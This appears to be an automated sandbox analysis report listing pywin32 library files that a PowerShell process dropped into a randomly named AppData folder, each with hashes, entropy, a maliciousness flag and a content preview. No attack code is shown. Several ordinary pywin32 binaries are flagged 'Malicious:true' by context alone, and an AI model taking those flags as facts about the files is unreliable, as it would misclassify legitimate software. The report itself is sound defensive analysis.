              Preview:# Generated by h2py from \mssdk\include\winnt.h..APPLICATION_ERROR_MASK = 536870912.ERROR_SEVERITY_SUCCESS = 0.ERROR_SEVERITY_INFORMATIONAL = 1073741824.ERROR_SEVERITY_WARNING = -2147483648.ERROR_SEVERITY_ERROR = -1073741824.MINCHAR = 128.MAXCHAR = 127.MINSHORT = 32768.MAXSHORT = 32767.MINLONG = -2147483648.MAXLONG = 2147483647.MAXBYTE = 255.MAXWORD = 65535.MAXDWORD = -1.LANG_NEUTRAL = 0.LANG_AFRIKAANS = 54.LANG_ALBANIAN = 28.LANG_ARABIC = 1.LANG_BASQUE = 45.LANG_BELARUSIAN = 35.LANG_BULGARIAN = 2.LANG_CATALAN = 3.LANG_CHINESE = 4.LANG_CROATIAN = 26.LANG_CZECH = 5.LANG_DANISH = 6.LANG_DUTCH = 19.LANG_ENGLISH = 9.LANG_ESTONIAN = 37.LANG_FAEROESE = 56.LANG_FARSI = 41.LANG_FINNISH = 11.LANG_FRENCH = 12.LANG_GERMAN = 7.LANG_GREEK = 8.LANG_HEBREW = 13.LANG_HINDI = 57.LANG_HUNGARIAN = 14.LANG_ICELANDIC = 15.LANG_INDONESIAN = 33.LANG_ITALIAN = 16.LANG_JAPANESE = 17.LANG_KOREAN = 18.LANG_LATVIAN = 38.LANG_LITHUANIAN = 39.LANG_MACEDONIAN = 47.LANG_MALAY = 62.LANG_NORWEGIAN = 20.LANG_POLISH = 21

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\lib\winperf.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text
              Category:dropped
              Size (bytes):5911
              Entropy (8bit):4.465756105097943
              Encrypted:false
              SSDEEP:
              MD5:00BBE05FD99166836678F90A9911A478
              SHA1:EF0A2B4DC2AC55643E7F2326942612586D653F46
              SHA-256:A787E682F6200CF1F0DCCBD48E90F758B969C95DBFEB5430651AC41E1658FE06
              SHA-512:6ED6367F7C02805991E56F2BEB88928A9A34EB02ABBFA4E6C4AB189F516CC053C9C740B9C1D8C0B828E4574924141888A66AB46DFF7399869F19525325E837ED
              Malicious:false
              Reputation:unknown
              Preview:# Generated by h2py from winperf.h.PERF_DATA_VERSION = 1.PERF_DATA_REVISION = 1.PERF_NO_INSTANCES = -1.PERF_SIZE_DWORD = 0x00000000.PERF_SIZE_LARGE = 0x00000100.PERF_SIZE_ZERO = 0x00000200.PERF_SIZE_VARIABLE_LEN = 0x00000300.PERF_TYPE_NUMBER = 0x00000000.PERF_TYPE_COUNTER = 0x00000400.PERF_TYPE_TEXT = 0x00000800.PERF_TYPE_ZERO = 0x00000C00.PERF_NUMBER_HEX = 0x00000000.PERF_NUMBER_DECIMAL = 0x00010000.PERF_NUMBER_DEC_1000 = 0x00020000.PERF_COUNTER_VALUE = 0x00000000.PERF_COUNTER_RATE = 0x00010000.PERF_COUNTER_FRACTION = 0x00020000.PERF_COUNTER_BASE = 0x00030000.PERF_COUNTER_ELAPSED = 0x00040000.PERF_COUNTER_QUEUELEN = 0x00050000.PERF_COUNTER_HISTOGRAM = 0x00060000.PERF_TEXT_UNICODE = 0x00000000.PERF_TEXT_ASCII = 0x00010000.PERF_TIMER_TICK = 0x00000000.PERF_TIMER_100NS = 0x00100000.PERF_OBJECT_TIMER = 0x00200000.PERF_DELTA_COUNTER = 0x00400000.PERF_DELTA_BASE = 0x00800000.PERF_INVERSE_COUNTER = 0x01000000.PERF_MULTI_COUNTER = 0x02000000.PERF_DISPLAY_NO_SUFFIX = 0x00000000.PERF_DISPLAY_PE

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\lib\winxptheme.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):254
              Entropy (8bit):4.614942657274806
              Encrypted:false
              SSDEEP:
              MD5:AFA2616539DD48A88AA2E7071342A977
              SHA1:B54B743581965E75D2AC912AD4AC450E0C3164D4
              SHA-256:11B834A54993AE29F7334391BDF7B05F3731A99180D4B376D0ED0ABB3E07B8DF
              SHA-512:93E9916B9729ECED9ED6409945BD7E39BA644EFB08C3D21674ECB55D316EABE3AA025E1384BA3D05722F123A99A4A155E612377E3F66376FCABAE66AEF56E4DA
              Malicious:false
              Reputation:unknown
              Preview:"""A useful wrapper around the "_winxptheme" module...Originally used when we couldn't be sure Windows XP apis were going to.be available. In 2022, it's safe to assume they are, so this is just a wrapper.around _winxptheme..""".from _winxptheme import *.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\libs\pywintypes.lib

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:current ar archive
              Category:dropped
              Size (bytes):105046
              Entropy (8bit):5.468277487512252
              Encrypted:false
              SSDEEP:
              MD5:19F6BCA56A9CF416E09E06C744F0C0E7
              SHA1:352E73AF0A6662D367BDCC203132E5CA32BECD30
              SHA-256:BE8CEACBE3565722C61FB025EF609A5CDC732EEC4448653F5B4107DF1F1487DF
              SHA-512:23D00A61EDF83C115BEF7B014B02309BD0174A802BEAA6CBAB80D8F876198D64AED693D6E6752145D3E231869FE4E77D01EDB6CC4B4B5DB3B91003B69985DDAB
              Malicious:false
              Reputation:unknown
              Preview:!<arch>./ -1 0 29986 `....O...T.....................*$.......b..t...t....X...X.........0...0..,:..,:..,...,...1...1....................J...J...........h...h...z...z...........P...P........................... ... ...X...X..................-x..-x..(v..(v..$...$...?...?...:...:...........m...m....B...B...........................$...$...r...r........................................................................$...$.......................#...#....f...f...........<...<...................8...8...........H...H...................@...@...................Z...Z...........................................6...6...f...&..~...+...X~..X~..B&..B&...@...@..................u^..u^..........."..."...&...&.........@...@..zr..zr..........{...{...........y...y....,...........6...6..R...R...ZH..ZH..D...D...u...u...........t@..t@..........s...s....|...|...................X...X...........................................p...p...........D...D..........{...{.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\mmapfile.pyd

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
              Category:dropped
              Size (bytes):17920
              Entropy (8bit):5.822660648618855
              Encrypted:false
              SSDEEP:
              MD5:2A754EF14BB6BDEE5D63F4827581F586
              SHA1:A106AC33A6FAD450C7179FD0A2EA34E7E87E9242
              SHA-256:AAD5E5A3180A66E9B594E9B6854241F91C58D2218D7ED4FFEAAEA3FD171D98D4
              SHA-512:B97899051064FF95540F3C7728BE8939CE08B8845726E9A4600387A5DC2A9C5D62FCE345C98744696DA80148F4DFB2BBEFD06B142275E615202F892FC7BC6DF5
              Malicious:true
              Reputation:unknown
              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........H...)p..)p..)p..Q...)p.\q..)p..Bq..)p.\u..)p.\t..)p.\s..)p.4\q..)p.R@q..)p..)q.)p.4\y..)p.4\p..)p.4\r..)p.Rich.)p.........................PE..L......d...........!....."... ......u!.......@............................................@..........................I..P....I..x....p..\.......................D....D..T............................D..@............@..$............................text....!.......".................. ..`.rdata.......@.......&..............@..@.data........`.......8..............@....rsrc...\....p.......<..............@..@.reloc..D............@..............@..B........................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\odbc.pyd

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
              Category:dropped
              Size (bytes):34304
              Entropy (8bit):6.0706493448180305
              Encrypted:false
              SSDEEP:
              MD5:F816A7D3E94862696A44B6369DFB2EA9
              SHA1:8852284DC02612F83AA4066564F16D803CF9749B
              SHA-256:00F11A5A963F930A263D866A2B6414B3835A51E9C3EC91AAD0668B9E14BF50E6
              SHA-512:FAE02DDAB39E207087ED89FEF50ECA368DEBB22D2EAC6D4268AC1F53C6D64C3E516CDB4A23FDC1649860C2EDCCEC44DEDED84A2F0BE7A7FC5C7EC1501FE60F2F
              Malicious:true
              Reputation:unknown
              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........C. .".s.".s.".s.ZKs.".s.W.r.".s.W.r.".s.W.r.".s.W.r.".s.W.r.".spK.r.".s.I.r.".s.".sP".s.W.r.".s.W.r.".s.W.r.".sRich.".s................PE..L......d...........!.....L...6.......M.......`............................................@......................... r..H...hr..........L.......................L...4l..T............................l..@............`..<............................text...+K.......L.................. ..`.rdata.......`... ...P..............@..@.data...l............p..............@....rsrc...L............x..............@..@.reloc..L............|..............@..B................................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\perfmon.pyd

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
              Category:dropped
              Size (bytes):23040
              Entropy (8bit):5.7004102661011204
              Encrypted:false
              SSDEEP:
              MD5:1DBE59165907DA9B1EB6CFD713D12B00
              SHA1:7EDD94FFCB589CB68D33125ADC3AF3F7A0D82C41
              SHA-256:E0E5897DC50BBF76DD32730216992FF402A799ED0FF8DF338F6CDF59C385348B
              SHA-512:B135532F44B4E1F945BD24ABE559A120CE37F06BB75300540C852D71BC22F214323C2B96E103C5C862F8E396C1933A4150A06BF3B33EBD8F295C600EBDE81F44
              Malicious:true
              Reputation:unknown
              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......R"K..C%_.C%_.C%_.;._.C%_D6$^.C%_.($^.C%_D6 ^.C%_D6!^.C%_D6&^.C%_.6$^.C%_.*$^.C%_.C$_RC%_.6,^.C%_.6%^.C%_.6'^.C%_Rich.C%_........................PE..L......d...........!.........(......v*.......@............................................@..........................M..P...@N.......p..T.......................(....G..T...........................`G..@............@..,............................text...3,.......................... ..`.rdata..d....@.......2..............@..@.data...t....`.......J..............@....rsrc...T....p.......P..............@..@.reloc..(............T..............@..B........................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\perfmondata.dll

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
              Category:dropped
              Size (bytes):16384
              Entropy (8bit):5.519899099469349
              Encrypted:false
              SSDEEP:
              MD5:08B864ADB87687152CD57999ABD5FE1A
              SHA1:3F3EF6CBEDC9E8E22ECF573F3D00DB889C61FA0D
              SHA-256:D49156080F394B23CC595AB6630125A20BAF16F2B8904B3133987D4F3F18B9DC
              SHA-512:6119F3A3CCCEF5921376665007C37893023D896DEEF09C98BD76EC44E1588A51F8A953126F0163669F71F46EC6C8CF484A427EC1BC0BF08F73656898D7880E4E
              Malicious:true
              Reputation:unknown
              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......yt.T=...=...=...4m..9...o`..?...o`..7...o`..7...o`..<...)~..8...=........`..<....`..<....`|.<....`..<...Rich=...................PE..L......d...........!................k .......0...............................p............@.........................@7.......7..x....P..,....................`......02..T............................2..@............0...............................text............................... ..`.rdata.......0......."..............@..@.data........@.......0..............@....rsrc...,....P.......2..............@..@.reloc.......`.......<..............@..B........................................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\pythonservice.exe

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PE32 executable (console) Intel 80386, for MS Windows
              Category:dropped
              Size (bytes):17408
              Entropy (8bit):5.441828005763723
              Encrypted:false
              SSDEEP:
              MD5:78F6F257CF3AA97F4261749A37968A5F
              SHA1:7A6F6DB50ECB6EA66DF5A12EBF282682EC634453
              SHA-256:E753C57CC2F31A888BAF162EB9B28C771BDFABFCE5AB977969EE7D957DD5270B
              SHA-512:A0A177AE9E98C6FA5C95666D2359E29107EAFBB12483B073CBFF1E42854A979E42D8B49780F536B906D15AF83809780B0C805B11A4D0CB0BE5A704B75BC184C5
              Malicious:true
              Reputation:unknown
              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k.....\...\...\.rj\...\...]...\...]...\...]...\...]...\...]...\.c.]...\.a.]...\...\...\...]...\...\...\...]...\Rich...\........................PE..L...,..d....................."...............0....@.......................................@..................................9.......`.......................p..L....4..T...........................P5..@............0...............................text...3........................... ..`.rdata..8....0......."..............@..@.data........P.......8..............@....rsrc........`.......<..............@..@.reloc..L....p.......@..............@..B........................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\scripts\ControlService.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):18043
              Entropy (8bit):4.297873544548919
              Encrypted:false
              SSDEEP:
              MD5:4FC327FDD744665C26F3E21B58E3D385
              SHA1:C1B6060579286A5695870769547244211DE35794
              SHA-256:511A0E1F785C7643E8FF535245A3F0710005F161A5428D522E352D760C102393
              SHA-512:13AFDE4113282AF90B53D1E597749777F3B3FA6C9BB268B80398D5B878AA41D9B44D31E2D310E24CCA025A919E707B37E41F5EE6611D327C9522B680DD3F89C6
              Malicious:false
              Reputation:unknown
              Preview:# ControlService.py.#.# A simple app which duplicates some of the functionality in the.# Services applet of the control panel..#.# Suggested enhancements (in no particular order):.#.# 1. When changing the service status, continue to query the status.# of the service until the status change is complete. Use this.# information to put up some kind of a progress dialog like the CP.# applet does. Unlike the CP, allow canceling out in the event that.# the status change hangs..# 2. When starting or stopping a service with dependencies, alert.# the user about the dependent services, then start (or stop) all.# dependent services as appropriate..# 3. Allow toggling between service view and device view.# 4. Allow configuration of other service parameters such as startup.# name and password..# 5. Allow connection to remote SCMs. This is just a matter of.# reconnecting to the SCM on the remote machine; the rest of the.# code should still work the same..# 6. Either implement the startup parameter

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\scripts\VersionStamp\BrandProject.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):2789
              Entropy (8bit):4.683118967004213
              Encrypted:false
              SSDEEP:
              MD5:A84154C766E7562DA3A8FBA7352394A5
              SHA1:2F865533CE526A05C840CF3AE13A24364F9763BE
              SHA-256:2851E3C6A67762E73A406A95EC6BFC0C8326D4F6C24271CD089853368A86518A
              SHA-512:AA3323C9D3004AF8F51EC20EAFCB61CA41701B49845CDDA40D2C753D35980DB77243DCF15DACE8B63750D083DED600CACB659FC64BFF38A9035F4BB07AC7AEAC
              Malicious:false
              Reputation:unknown
              Preview:# BrandProject.py.#.# Brand a VSS project with a "build number", then optionally.# stamp DLL/EXE files with version information...import os.import string.import sys..import bulkstamp.import vssutil.import win32api...def BrandProject(. vssProjectName,. descFile,. stampPath,. filesToSubstitute,. buildDesc=None,. auto=0,. bRebrand=0,.):. # vssProjectName -- The name of the VSS project to brand.. # descFile -- A test file containing descriptions of the files in the release.. # stampPath -- The full path to where the files referenced in descFile can be found.. path = win32api.GetFullPathName(stampPath).. build = vssutil.MakeNewBuildNo(vssProjectName, buildDesc, auto, bRebrand). if build is None:. print("Cancelled"). return.. bulkstamp.scan(build, stampPath, descFile). for infile, outfile in filesToSubstitute:. SubstituteVSSInFile(vssProjectName, infile, outfile). return 1...def usage(msg):. print(msg). print(.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\scripts\VersionStamp\bulkstamp.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):4207
              Entropy (8bit):4.3918564406115115
              Encrypted:false
              SSDEEP:
              MD5:3DAF8F9FB9BE8BBE4AF313F518CECDEF
              SHA1:743AFB529F2798F0CF774FB451BF8BFD83AC261A
              SHA-256:76A2C2F847AF7D90ABA65C5F39306E23551F52F2FB7686CF45AB3F4E6C96F635
              SHA-512:DBAAED775B3F922A2F2B09EC57DABC8D0F3C8E8DC66317407D882550C58F077720F05AECDCDBAE9A2FA997CCE733A84D7B9F880C64F2791E58C5A8BED31BDD9F
              Malicious:false
              Reputation:unknown
              Preview:#.# bulkstamp.py:.# Stamp versions on all files that can be found in a given tree..#.# USAGE: python bulkstamp.py <version> <root directory> <descriptions>.#.# Example: python bulkstamp.py 103 ..\win32\Build\ desc.txt.#.# <version> corresponds to the build number. It will be concatenated with.# the major and minor version numbers found in the description file..#.# Description information is pulled from an input text file with lines of.# the form:.#.# <basename> <white space> <description>.#.# For example:.#.# PyWinTypes.dll Common types for Python on Win32.# etc.#.# The product's name, major, and minor versions are specified as:.#.# name <white space> <value>.# major <white space> <value>.# minor <white space> <value>.#.# The tags are case-sensitive..#.# Any line beginning with "#" will be ignored. Empty lines are okay..#..import fnmatch.import os.import sys..import verstamp.import win32api..numStamped = 0..g_patterns = [. "*.dll",. "*.pyd",. "*.exe",.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\scripts\VersionStamp\vssutil.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script text executable Python script, ASCII text executable
              Category:dropped
              Size (bytes):5690
              Entropy (8bit):4.631936788839383
              Encrypted:false
              SSDEEP:
              MD5:CAEB3C147B18ED16091C79BED0124013
              SHA1:AF38CCF2C2D6B612BB236A741349BAEC414553F1
              SHA-256:29D4CAC8631D01D1ABFDFDF26B8DEE88EF22EBEF484C50238BCAC8DF1FEAD2CC
              SHA-512:1C4BA38FBCA369E1E1375C250FD619C45895AB06ED9417053A8CAC5059176F54C126BC61AF7F3D3A3B100FBAA7B5862F307B475F7F184DD960092B3D5A414D7A
              Malicious:false
              Reputation:unknown
              Preview:import string.import time.import traceback..import pythoncom.import win32com.client.import win32com.client.gencache.import win32con..constants = win32com.client.constants..win32com.client.gencache.EnsureModule("{783CD4E0-9D54-11CF-B8EE-00608CC9A71F}", 0, 5, 0)..error = "vssutil error"...def GetSS():. ss = win32com.client.Dispatch("SourceSafe"). # SS seems a bit weird. It defaults the arguments as empty strings, but. # then complains when they are used - so we pass "Missing". ss.Open(pythoncom.Missing, pythoncom.Missing, pythoncom.Missing). return ss...def test(projectName):. ss = GetSS(). project = ss.VSSItem(projectName).. for item in project.GetVersions(constants.VSSFLAG_RECURSYES):. print(item.VSSItem.Name, item.VersionNumber, item.Action)...# .item=i.Versions[0].VSSItem.# .for h in i.Versions:.# ..print `h.Comment`, h.Action, h.VSSItem.Name...def SubstituteInString(inString, evalEnv):. substChar = "$". fields = string.split(inString, substChar)

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\scripts\backupEventLog.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):1268
              Entropy (8bit):4.508504303752949
              Encrypted:false
              SSDEEP:
              MD5:3DE21CB285822AB13A643A67AE18808E
              SHA1:70EAD65A85909EDAD23FA14EA2A6FBAF4F798BA1
              SHA-256:9AFCB5B2D0C07224554E5A1B2DD0954092A09AE1B30824376CBD29CEA44340E4
              SHA-512:50EF3A5013DB970DAAE33AA57A752F6036CEC7B99012E9436C8E5A1517BE5A676EF820CDDFA80DC22C9ABA7451739AE96039E7A0A534BA173BAC24CC9F7C7FB6
              Malicious:false
              Reputation:unknown
              Preview:# Generate a base file name.import os.import time..import win32api.import win32evtlog...def BackupClearLog(logType):. datePrefix = time.strftime("%Y%m%d", time.localtime(time.time())). fileExists = 1. retry = 0. while fileExists:. if retry == 0:. index = "". else:. index = "-%d" % retry. try:. fname = os.path.join(. win32api.GetTempPath(),. "%s%s-%s" % (datePrefix, index, logType) + ".evt",. ). os.stat(fname). except os.error:. fileExists = 0. retry = retry + 1. # OK - have unique file name.. try:. hlog = win32evtlog.OpenEventLog(None, logType). except win32evtlogutil.error as details:. print("Could not open the event log", details). return. try:. if win32evtlog.GetNumberOfEventLogRecords(hlog) == 0:. print("No records in event log %s - not backed up" % logType). return. win32e

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\scripts\ce\pysynch.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):8273
              Entropy (8bit):4.506389676116937
              Encrypted:false
              SSDEEP:
              MD5:8AE8F1287D1CA8C90E8041E451510529
              SHA1:A345CF8CD0F4D2D102F1312E99EA12161EBE3709
              SHA-256:36F8729DBF8A7B648F4392875EF310DD1EC6F670F51219DD7876C67C941F0509
              SHA-512:215573442BCEB635CF5EECBA1912EECE075CD849125446E58DAC8443A264FC13C5374F99F1C7C83CA42839E8A7202B34B6591AD825757378917A67453914ACB3
              Malicious:false
              Reputation:unknown
              Preview:# Simple CE synchronisation utility with Python features...import fnmatch.import getopt.import os.import string.import sys..import win32api.import win32con.import win32file.import wincerapi...class InvalidUsage(Exception):. pass...def print_error(api_exc, msg):. hr, fn, errmsg = api_exc. print("%s - %s(%d)" % (msg, errmsg, hr))...def GetFileAttributes(file, local=1):. if local:. return win32api.GetFileAttributes(file). else:. return wincerapi.CeGetFileAttributes(file)...def FindFiles(spec, local=1):. if local:. return win32api.FindFiles(spec). else:. return wincerapi.CeFindFiles(spec)...def isdir(name, local=1):. try:. attr = GetFileAttributes(name, local). return attr & win32con.FILE_ATTRIBUTE_DIRECTORY. except win32api.error:. return 0...def CopyFileToCe(src_name, dest_name, progress=None):. sh = win32file.CreateFile(. src_name, win32con.GENERIC_READ, 0, None, win32con.OPEN_EXISTING, 0, None. ).

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\scripts\killProcName.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):1994
              Entropy (8bit):4.626371651169389
              Encrypted:false
              SSDEEP:
              MD5:CF3D42D61D5ABEA7E4F7AC5279237F75
              SHA1:670323D1F0651A3800E503E058D6734A7683FA2B
              SHA-256:DAC26F4040B87A3D9E8A49EE4A08696A280EBC9710E39B98C576B7E322002DF8
              SHA-512:5F655E0A28FFC6FD73628F7A9068875CACBBF66193CDE7C3CEB162164BACD152C5CB9DD8A777550312A95F4EB984933CDA8B9B49CBAAFACAEADAB725C9DC2721
              Malicious:false
              Reputation:unknown
              Preview:# Kills a process by process name.#.# Uses the Performance Data Helper to locate the PID, then kills it..# Will only kill the process if there is only one process of that name.# (eg, attempting to kill "Python.exe" will only work if there is only.# one Python.exe running. (Note that the current process does not.# count - ie, if Python.exe is hosting this script, you can still kill.# another Python.exe (as long as there is only one other Python.exe)..# Really just a demo for the win32pdh(util) module, which allows you.# to get all sorts of information about a running process and many.# other aspects of your system...import sys..import win32api.import win32con.import win32pdhutil...def killProcName(procname):. # Change suggested by Dan Knierim, who found that this performed a. # "refresh", allowing us to kill processes created since this was run. # for the first time.. try:. win32pdhutil.GetPerformanceAttributes("Process", "ID Process", procname). except:. p

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\scripts\rasutil.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):2722
              Entropy (8bit):4.5589989171602765
              Encrypted:false
              SSDEEP:
              MD5:11B0D54C2FF5F7A09F058B2F0007E51C
              SHA1:5B7DBCC531E668CED8A64E77E8B3ECAEA74F1EFF
              SHA-256:CC4BD24331F177797371A0F6F725F8D370A544B95C9C1471B9CE52D9C7A0BF0D
              SHA-512:78829C0E9851BC8D6D44C212BDABE4FD72652EA00F3DE784B8DA8813DD09820D7F6ECB9F1187DB3F11CDF625BF0888A2056978CD0F76CA820852D5B1FEF28F2B
              Malicious:false
              Reputation:unknown
              Preview:# A demo of using the RAS API from Python.import sys..import win32ras...# The error raised if we can not.class ConnectionError(Exception):. pass...def Connect(rasEntryName, numRetries=5):. """Make a connection to the specified RAS entry... Returns a tuple of (bool, handle) on success.. - bool is 1 if a new connection was established, or 0 is a connection already existed.. - handle is a RAS HANDLE that can be passed to Disconnect() to end the connection... Raises a ConnectionError if the connection could not be established.. """. assert numRetries > 0. for info in win32ras.EnumConnections():. if info[1].lower() == rasEntryName.lower():. print("Already connected to", rasEntryName). return 0, info[0].. dial_params, have_pw = win32ras.GetEntryDialParams(None, rasEntryName). if not have_pw:. print("Error: The password is not saved for this connection"). print(. "Please connect manually selecting the 'save

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\scripts\regsetup.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):20460
              Entropy (8bit):4.586626567064987
              Encrypted:false
              SSDEEP:
              MD5:D7E5CFFE47C88CA037338FD94EA1AF5B
              SHA1:CD59B2438108227FA97263805B7C4E7D9956B1A5
              SHA-256:8A54BCF838F37CB1F49074DC2254AF3EA57926C2ACCD8C5CF201F9C554BD186E
              SHA-512:60D03ACE715A73DA2B695BF1B8448A52488D82FDB79CAB48FB4591717C0AD107AA68545B9C240A750728E6BD7FA258BE4C70C1C764EF5CC2FEE425814319676A
              Malicious:false
              Reputation:unknown
              Preview:# A tool to setup the Python registry....class error(Exception):. pass...import sys # at least we can count on this!...def FileExists(fname):. """Check if a file exists. Returns true or false.""". import os.. try:. os.stat(fname). return 1. except os.error as details:. return 0...def IsPackageDir(path, packageName, knownFileName):. """Given a path, a ni package name, and possibly a known file name in. the root of the package, see if this path is good.. """. import os.. if knownFileName is None:. knownFileName = ".". return FileExists(os.path.join(os.path.join(path, packageName), knownFileName))...def IsDebug():. """Return "_d" if we're running a debug version... This is to be used within DLL names when locating them.. """. import importlib.machinery.. return "_d" if "_d.pyd" in importlib.machinery.EXTENSION_SUFFIXES else ""...def FindPackagePath(packageName, knownFileName, searchPaths):. """Find a package.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\scripts\setup_d.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):3500
              Entropy (8bit):4.703409335080606
              Encrypted:false
              SSDEEP:
              MD5:4F4E28EE25DADE82161FD7FF394CB7B6
              SHA1:C37C8B0D10E0C757D1CD44AD1C718C69935416D6
              SHA-256:1C286DCFADB16AAEEB70F5D0CB0BCAE51084B00E58228896E1B0FA942A7A5098
              SHA-512:F624877D4C8A1CBCAB71FB548071CD06B0C835E4B9B4310540111649B71810AD3F1D56F15A4A54816B91093D6D883D0154C59119172092BF95057A5D2A019CD8
              Malicious:false
              Reputation:unknown
              Preview:# Install and register pythonxx_d.dll, pywintypesxx_d.dll and pythoncomxx_d.dll.#.# Assumes the _d files can be found in the same directory as this script.# or in the cwd...import os.import shutil.import sys.import winreg..import win32api...def usage_and_die(rc):. print(). print("This script is designed to copy and register the Python debug"). print("binaries. It looks for pythonxx_d.dll, pythoncomxx_d.dll etc,"). print("and installs them to work correctly with Python debug builds."). print(). print("You will generally find this script in the. zip file that"). print("included these _d files. Please run this script from"). print("that directory"). sys.exit(rc)...if win32api.__file__.find("_d") > 0:. print("This scripts appears to be running a DEBUG version of Python."). print("Please run it using a normal release build (python.exe)"). usage_and_die(1)..try:. import pythoncom.except ImportError as details:. print("Could not import the release v

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\servicemanager.pyd

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
              Category:dropped
              Size (bytes):34304
              Entropy (8bit):5.766904899896164
              Encrypted:false
              SSDEEP:
              MD5:DD419E9F89E8A2815858A8B6D059C027
              SHA1:1158C7CD0A7A1298F8DCE6B651814112CCC1456E
              SHA-256:CABDFF87D5A1118F16DB1672DEC81394183DC9D644CF98EEFD992F62000BCE83
              SHA-512:ADC9D15D3FE7E80E65E2E1D8C026B6CB561A79182F10543A01E91DE33ED36944954BA0458C2FF5115B99AAB1C104E3ADB929184E0A380F3A697A7E5775DD40ED
              Malicious:true
              Reputation:unknown
              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........T_..51..51..51..M...51.@0..51.@4..51.@5..51.@2..51..@0..51.x\0..51..^0..51..50..51..@8..51..@1..51..@...51..@3..51.Rich.51.........................PE..L...I..d...........!.....<...F......';.......P............................................@.........................pc..`....d..........x.......................t....\..T...........................`\..@............P.. ............................text...z:.......<.................. ..`.rdata...#...P...$...@..............@..@.data................d..............@....rsrc...x............j..............@..@.reloc..t............~..............@..B................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\test\handles.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):5471
              Entropy (8bit):4.483065386918216
              Encrypted:false
              SSDEEP:
              MD5:9A0B2387B2891F63CAE03C9E2DDC3322
              SHA1:963FBED7627CFE59C4223211D3CE115FD0E77849
              SHA-256:9A39FCE6B220CC16C66E8C3F0CF599CA8662F2E4EAA3C9B97192417E133C0FBB
